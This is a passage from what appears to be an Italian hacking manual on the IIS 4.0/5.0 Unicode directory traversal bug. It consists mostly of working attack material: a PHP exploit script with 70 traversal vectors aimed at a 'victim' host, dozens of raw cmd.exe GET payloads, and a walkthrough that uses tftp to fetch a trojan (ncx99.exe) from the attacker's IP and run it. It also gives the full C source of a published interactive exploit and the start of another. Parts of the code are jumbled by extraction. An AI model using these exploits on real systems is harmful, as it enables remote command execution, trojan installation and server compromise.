$vector_ataque[37]="/scripts/..%C1%9C..%C1%9C..%C1%9C..
%C1%9Cwinnt/system32/cmd.exe?/c+";
$vector_ataque[38]="/scripts/..%C0%AF..%C0%AF..%C0%AF..
%C0%AFwinnt/system32/cmd.exe?/c+";
$vector_ataque[39]="/scripts/..%252f..%252f..%252f..
%252fwinnt/system32/cmd.exe?/c+";
$vector_ataque[40]="/scripts/..%255c..
%255cwinnt/system32/cmd.exe?/c+";
$vector_ataque[41]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[42]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[43]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[44]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[45]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[46]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[47]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[48]="/msadc/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[49]="/_vti_bin/..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[50]="/scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[51]="/scripts..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[52]="/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";
$vector_ataque[53]="/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+";
$vector_ataque[54]="/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+";
$vector_ataque[55]="/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+";
$vector_ataque[56]="/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+";
$vector_ataque[57]="/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+";
$vector_ataque[58]="/scripts/..%c1%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[59]="/scripts/..
%e0%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[60]="/scripts/..
%f0%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[61]="/scripts/..
%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[62]="/scripts/..%fc
%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[63]="/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\
%e0\%80\%af../winnt/system32/cmd.exe\?/c+";
$vector_ataque[64]="/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[65]="/samples/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[66]="/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[67]="/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[68]="/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
$vector_ataque[69]="/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..
%c0%af../winnt/system32/cmd.exe?/c+";
if(!isset($argv[1]))
{
echo
"\n\n--------------------------------------------------------------------\n";
echo "------------- (c) UNICODE exploit for IIS 5.0/4.0 by BoloTron
------\n";
echo
"--------------------------------------------------------------------\n\n";
echo "Usage of the wicked device:\n";
echo $argv[0]." -t www.victim.vic\n";
echo $argv[0]." -t www.victim.vic -p proxy:port\n";
echo $argv[0]." www.victim.vic comand variant_number\n";

variant_number\n";

echo $argv[0]." -p proxy:port www.victim.vic comand


echo "Options:\n";
echo "-t --> Test the vulnerability (Try known variants till find

the good one)\n";

echo "-p --> Attack through proxy\n";


echo "\nUse Mode:\n1) Test the host and get the variants number in
case vulnerability exists\n";
echo "2) Attack with command and variants number (optionaly you can
use proxy)\n";
echo "Note : When you specify a command with spaces, replace spaces
with low script \"_\" \n";
echo "and you must double the backslash \"\\\". \n Example".
$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
echo "Thanks to An-tonio for the proxy support.\n";
echo "Bug discover by Anonymous Post.\n";
echo "TYPE ".$argv[0]." spanish, for Spanish help.\n";
}
else
{
if($argv[1]=="spanish")
{
echo
"\n\n--------------------------------------------------------------------\n";
echo "------------- (c) Exploit UNICODE para IIS 5.0/4.0 por BoloTron
----\n";
echo
"--------------------------------------------------------------------\n\n";
echo "Uso del artefacto maligno :\n";
echo $argv[0]." -t www.victima.vic\n";
echo $argv[0]." -t www.victima.vic -p proxy:puerto\n";
echo $argv[0]." www.victima.vic comando n_de_variante\n";
echo $argv[0]." -p proxy:port www.victima.vic comand
n_de_variante\n";
echo "Opciones:\n";
echo "-t --> Testea la vulnerabilidad, prueba todas las variantes
hasta encontrar una buena.\n";
echo "-p --> Ataque a traves de proxy\n";
echo "\nModo de Empleo:\n1) Testear el host y anotar el numero de
variante en caso de ser vulnerable\n";
echo "2) Atacar especificando comando y n de variante (opcionalmente
puedes especificar un proxy)\n";
echo "Nota : Cuando se especifica un comando en el que hay espacios
hay que sustituirlos por un guion bajo _ \n";
echo "y las contrabarras hay que ponerlas dobles. \nEjemplo : ".
$argv[0]." -p proxy.prx:3128 www.victima.com dir_c:\\\\inetpub 49\n";
echo "Gracias a An-tonio por sus indicaciones en el soporte
proxy.\n";
echo "Bug descubierto por aviso anonimo.\n";
exit;
}
if($argv[1]=="-t")
{
if ($argv[3]=="-p")
{
for($i=0;$i<70;$i++)
{
$prox=explode(":",$argv[4]);
$comando="dir+c:\\";
$fp = fsockopen($prox[0], $prox[1]);
if(!$fp)
{
echo "Conection failed...\n";
}
else
{
fputs($fp,"GET http://".$argv[2]."".
$vector_ataque[$i]."".$comando."; HTTP/1.0\n\n");
echo "Trying variant number ".$i." ";
while(!feof($fp))
{
$resul=$resul.fgets($fp,128);
}
if (ereg("<DIR>", $resul))
{
echo "-----> Vulnerable!!\n";

}
else
{
}

exit;

echo "-----> NoT Vulnerable :(\n";

}
fclose($fp);

}
}
else
{
for($i=0;$i<70;$i++)
{
$port=80;
$comando="dir+c:\\";
$fp = fsockopen($argv[2], $port);
if(!$fp)
{
echo "Conection failed...\n";
}
else
{
fputs($fp,"GET ".$vector_ataque[$i]."".$comando."

HTTP/1.0\n\n");

echo "Trying variant number ".$i." ";


while(!feof($fp))
{
$resul=$resul.fgets($fp,128);
}
if (ereg("<DIR>", $resul))
{
echo "-----> vulnerable!!\n";
exit;
}
else
{
echo "-----> No Vulnerable :

(\n";

}
}
fclose($fp);
}
}
}
else
{

if($argv[1]=="-p")
{
$prox=explode(":",$argv[2]);
$port=$prox[1];
$comando=ereg_replace("_","+",$argv[4]);
$fp = fsockopen($prox[0], $port);
if(!$fp)
{
}
else
{

echo "Conection failed.\n";

fputs($fp,"GET http://".$argv[3]."".
$vector_ataque[$argv[5]]."".$comando."; HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}
else
{
$port=80;
$comando=ereg_replace("_","+",$argv[2]);
$fp = fsockopen($argv[1], $port);

if(!$fp)
{
}
else
{

echo "Conection failed.\n";

fputs($fp,"GET ".
$vector_ataque[$argv[3]]."".$comando." HTTP/1.0\n\n");
while(!feof($fp))
{
echo fgets($fp,128);
}
}
fclose($fp);
}
}

}
?>

Alcune variazioni legate allUNICODE BUG possono essere visualizzate neidump che
seguono :
GET /msadc/....../....../....../winnt/system32/cmd.exe?/c+dir+c:
Se questo funziona potrete vedere :
Directory of c:\
11/26/00
11/26/00
11/26/00
12/07/00
12/07/00
12/20/00
12/21/00
12/21/00
12/20/00

12:34p
0 AUTOEXEC.BAT
06:57p
322 boot.ini
12:34p
0 CONFIG.SYS
03:30p
<DIR>
InetPub
03:12p
<DIR>
Multimedia Files
05:13p
78,643,200 pagefile.sys
08:59p
<DIR>
Program Files
08:59p
<DIR>
TEMP
05:14p
<DIR>
WINNT
9 File(s)
78,643,522 bytes
1,779,191,808 bytes free

possibile anche provare direttamente da BROWSER imbastire comandi del tipo :


http://address.of.iis5.system/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

Il fatto di riuscire a vedere come IIS interpreta i caratteri possibile farlo andando a vedere il
file di LOG.
Un esempio potrebbe essere:
11:21:01 212.36.0.230 - 172.17.1.4 GET /msadc/..%c0%af../..%c0%af../..%c0%af../..
%c0%af../winnt/system32/cmd.exe?/c
+"dir%20c:\" 200 80 Mozilla/4.0+(compatible;+MSIE+5.5;+Windows+NT+5.0) 11:21:15 212.36.0.230 - 172.17.1.4 GET
/msadc/..%c0%af../..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c
+"dir%20c:\winnt\system32\logfiles\" 200 80 Mozilla/4.0+(compatible;
+MSIE+5.5;+Windows+NT+5.0) 11:21:24 212.36.0.230 - 172.17.1.4 GET
/msadc/..%c0%af../..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c
+"dir%20c:\winnt\system32\logfiles\W3SVC1\" 200 80
Mozilla/4.0+(compatible;+MSIE+5.5;+Windows+NT+5.0) 11:21:42 212.36.0.230 - 172.17.1.4 GET
/msadc/..%c0%af../..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c
+"type%20c:\winnt\system32\logfiles\W3SVC1\ex001210.log" 502 80
Mozilla/4.0+(compatible;+MSIE+5.5;+Windows+NT+5.0)

Usando la classe che incapsula le funzioni WINSOCK potremmo scrivere un altro programma
simile a quello scritto prima in PHP che prova a creare un messaggio di testo sul sistema
remoto usando le seguenti stringhe di prova.

GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63..
/winnt/system32/cmd.exe?/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63..
/winnt/system32/cmd.exe?/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt
/system32/cmd.exe?/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?

/c+/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?
/c+/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?
/c+/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%9v../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%qf../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%8s../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%pc../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts..%c1%9c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%pc../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%9v../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c0%qf../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%8s../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%c1%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt
/system32/cmd.exe\?/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
GET /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n

GET /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+echo+test+message+>+test.msg\nHTTP/1.0\n\n
In ogni caso in relazione all UNICODE BUGS esiste una definizione di stringa standard
definita su http://www.securityfocus.com e precisamente :
http://target/scripts/..%c1%1c../path/file.ext
Ricordiamoci sempre che le configurazioni dei sistemi potrebbero essere differenti per cui
spesso necessario provare diverse soluzioni prima di individuare quella giusta.

Usando la definizione standard di prima sono esempi che richiedono la directory su un


sistema :
http://target/scripts/..%c1%1c../winnt/syst
em32/cmd.exe?/c+dir
http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
cmd.exe?/c+dir
Nel caso dellUNICODE BUGS il fatto di riportare pi esempi pu essere particolarmente utile
a chi non dispone ancora di una certa esperienza per cui luso di questo metodo lo
porterebbe ad usare solo gli esempi riportati.
Precedentemente abbiamo detto che grazie a tftp potevamo installare un ROOTKIT sul
sistema remoto al fine di riuscire ad aprire una shell.
In ogni caso potremmo installare qualsiasi trojan trovabile sulla rete.
Negli esempi di prima abbiamo visto direttamente il modo di formulare il comando TFTP
senza vederlo come questo sarebbe stato possibile lanciarlo da prompt di comando.
Il comando per il trasferimento di un trojan potrebbe essere :
tftp.exe -i xxx.xxx.xxx.xxx GET ncx99.exe
dove chiaramente xxx.xxx.xxx.xxx lIP con cui ci si vuole connettere dal sistema remoto
ovvero ilo nostro.
Abbiamo detto che la difficolt di utilizzo di questo bugs sta nel fatto di riuscire ad individuare
qual il percorso della directory BIN relativa al settaggio del nostro sistema.
Negli esempi di prima abbiamo dato per scontato che questa fosse appunto SCRIPTS.
Volendo generalizzare il comando potremmo riportarlo con :
GET
/[bin-dir]/..%c0%af../winnt/system32/tftp.exe+"i"+xxx.xxx.xxx.xxx+GET+ncx99.exe+c:\winnt\system32\ncx99.exe
Tramite TELNET oppure
http:://sito/[bin-dir]/..%c0%af../winnt/system32/tftp.exe+"i"+xxx.xxx.xxx.xxx+GET+ncx99.exe+c:\winnt\system32\ncx99.exe
Una volta trasferito il trojan potremmo mandarlo in esecuzione con il comando :
GET /[bin-dir]/..%c0%af../winnt/system32/ncx99.exe
Sempre come TELNET oppure come http da browser :
http://sito/[bin-dir]/..%c0%af../winnt/system32/ncx99.exe
I comandi che possono essere specificati potrebbero avere finalit differenti come ad
esempio quelli che seguono.
1) Copiare da "..\..\winnt\system32\cmd.exe " a "..\..\interpub\scripts\cmd1.exe"

http://site/scripts/..
%c1%9c../winnt/system32/cmd.exe?/c+copy+..\..\winnt\system32\cmd.exe+
cmd1.exe
IIS restituisce :

"CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers.
The headers it did return are:

1 file(s) copied."
2) Eseguire "cmd1.exe /c echo abc >aaa & dir & type aaa "
http://site/scripts/..
%c1%9c../inetpub/scripts/cmd1.exe?/c+echo+abc+>aaa&dir&type+aaa
IIS restituisce:
" Directory of c:\inetpub\scripts
10/25/2000 03:48p
.
10/25/2000 03:48p
..
10/25/2000 03:51p 6 aaa
12/07/1999 05:00a 236,304 cmd1.exe
..
abc
"
Lexploit rilasciato da Optyx il seguente :

/****************************************************************************\
**
**
**
Microsoft IIS 4.0/5.0 Extended UNICODE Directory Traversal Exploit
**
**
proof of theory exploit cuz it's wednesday and i'm on the couch
**
**
**
**
brought to you by the letter B, the number 7, optyx, and t12
**
**
optyx - <optyx@uberhax0r.net optyx@newhackcity.net>
**
**
t12 - <t12@uberhax0r.net>
**
**
**
**
greetz go out to aempirei, a gun toatin' gangstah' hustler' player
**
**
motherfucker who isn't with us anymore, miah, who's GTA2 game was
**
**
was most entertaining tonight, Cathy, who provided the trippy light **
**
to stare at, and to KT, for providing me with hours of decent
**
**
conversation.
**
**
**
\****************************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

<stdio.h>
<netdb.h>
<stdlib.h>
<string.h>
<sys/socket.h>
<sys/types.h>
<netinet/in.h>
<arpa/inet.h>
<signal.h>
<errno.h>
<fcntl.h>

void usage(void)
{
fprintf(stderr, "usage: ./iis-zank <-t target> <-c 'command' or -i>");
fprintf(stderr, " [-p port] [-o timeout]\n");

exit(-1);

int main(int argc, char **argv)


{
int i, j;
int port=80;
int timeout=3;
int interactive=0;
char temp[1];
char host[512]="";
char cmd[1024]="";
char request[8192]="GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
struct hostent *he;
struct sockaddr_in s_addr;
printf("iis-zank_bread_chafer_8000_super_alpha_hyper_pickle.c\n");
printf("by optyx and t12\n");
for(i=0;i<argc;i++)
{ if(argv[i][0] == '-') {
for(j=1;j<strlen(argv[i]);j++)
{
switch(argv[i][j])
{
case 't':
strncpy(host, argv[i+1], sizeof(host));
break;
case 'c':
strncpy(cmd, argv[i+1], sizeof(cmd));
break;
case 'h':
usage();
break;
case 'o':
timeout=atoi(argv[i+1]);
break;
case 'p':
port=atoi(argv[i+1]);
break;
case 'i':
interactive=1;
break;
default:
break;
}
}
}
}
if(!strcmp(host, ""))
{
fprintf(stderr, "specify target host\n");
usage();
}
if(!strcmp(cmd, "") && !interactive)
{
fprintf(stderr, "specify command to execute\n");
usage();
}
printf("]- Target - %s:%d\n", host, port);
if(!interactive)
printf("]- Command - %s\n", cmd);
printf("]- Timeout - %d seconds\n", timeout);
if((he=gethostbyname(host)) == NULL)
{
fprintf(stderr, "invalid target\n");
usage();
}
do

{
if(interactive)
{

cmd[0]=0;
printf("\nC> ");
if(fgets(cmd, sizeof(cmd), stdin) == NULL)
fprintf(stderr, "gets() error\n");
cmd[strlen(cmd)-1]='\0';
if(!strcmp("exit", cmd))
exit(-1);
}
for(i=0;i<strlen(cmd);i++)
{
if(cmd[i]==' ')
cmd[i]='+';
}
strncpy(request,
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+",
sizeof(request));
strncat(request, cmd, sizeof(request) - strlen(request));
strncat(request, "\n", sizeof(request) - strlen(request));
s_addr.sin_family = PF_INET;
s_addr.sin_port = htons(port);
memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr,
sizeof(s_addr.sin_addr));
if((i=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
fprintf(stderr, "cannot create socket\n");
exit(-1);
}
alarm(timeout);
j = connect(i, (struct sockaddr *) &s_addr, sizeof(s_addr));
alarm(0);
if(j==-1)
{
fprintf(stderr, "cannot connect to %s\n", host);
exit(-1);
close(i);
}
if(!interactive)
printf("]- Sending request: %s\n", request);
send(i, request, strlen(request), 0);
if(!interactive)
printf("]- Getting results\n");
while(recv(i,temp,1, 0)>0)
{
alarm(timeout);
printf("%c", temp[0]);
alarm(0);
}
}
while(interactive);

close(i);
return 0;

Ilo seguente exploits invece adatto ai sistemi Unix basandosi sulle normali funzioni della
libreria socket.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>

#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#define SEND 100000
#define RECIVE
1000000
char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[SEND]="";
char *pt=strstr(string,orig);
strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}
/***************************************************************************/
int main(int argc,char *argv[])
{
int sockfd, numbytes;
char recv_buf[RECIVE];
int i;
int port;
char *uni[]={
"..%c0%af..",
"..%c0%af../..%c0%af../..%c0%af..",
"..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..",
"..%c1%1c..",
"..%c1%1c../..%c1%1c../..%c1%1c..",
"..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..",
"..%252f..",
"..%252f../..%252f../..%252f..",
"..%252f..%252f..%252f..%252f..%252f..",
"..%252e..",
".%252e..",
"..%252e../..%252e../..%252e..",
"..%252e..%252e..%252e..%252e..%252e..",
"..%c0%9v..",
"..%c0%9v../..%c0%9v../..%c0%9v..",
"..%c0%9v..%c0%9v..%c0%9v..%c0%9v..%c0%9v..",
"..%c0%qf..",
"..%c0%qf../..%c0%qf../..%c0%qf..",
"..%c0%qf..%c0%qf..%c0%qf..%c0%qf..%c0%qf..",

"..%c1%8s..",
"..%c1%8s../..%c1%8s../..%c1%8s..",
"..%c1%8s..%c1%8s..%c1%8s..%c1%8s..%c1%8s..",
"..%c1%9c..",
"..%c1%9c../..%c1%9c../..%c1%9c..",
"..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..",
"..%c1%pc..",
"..%c1%pc../..%c1%pc../..%c1%pc..",
"..%c1%pc..%c1%pc..%c1%pc..%c1%pc..%c1%pc..",
"..%255c..",
"..%255c../..%255c../..%255c..",
"..%255c..%255c..%255c..%255c..%255c..",
"..%5c..",
"..%5c../..%5c../..%5c..",
"..%5c..%5c..%5c..%5c..%5c..",
"..%%35c..",
"..%%35c../..%%35c../..%%35c..",
"..%%35c../..%%35c../..%%35c",
//last news
"..%%35c..%%35c..%%35c..%%35c..%%35c..",
"..%%35%63..",
"..%%35%63../..%%35%63../..%%35%63..",
"..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..",
"..%25%35%63..",
"..%25%35%63../..%25%35%63../..%25%35%63..",
"..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63.."
};
char *path[]={
"/scripts/#uni/winnt/system32/cmd.exe?/c+",
"/scripts/#uniwinnt/system32/cmd.exe?/c+",
"/msadc/#uni/winnt/system32/cmd.exe?/c+",
"/cgi-bin/#uni/winnt/system32/cmd.exe?/c+",
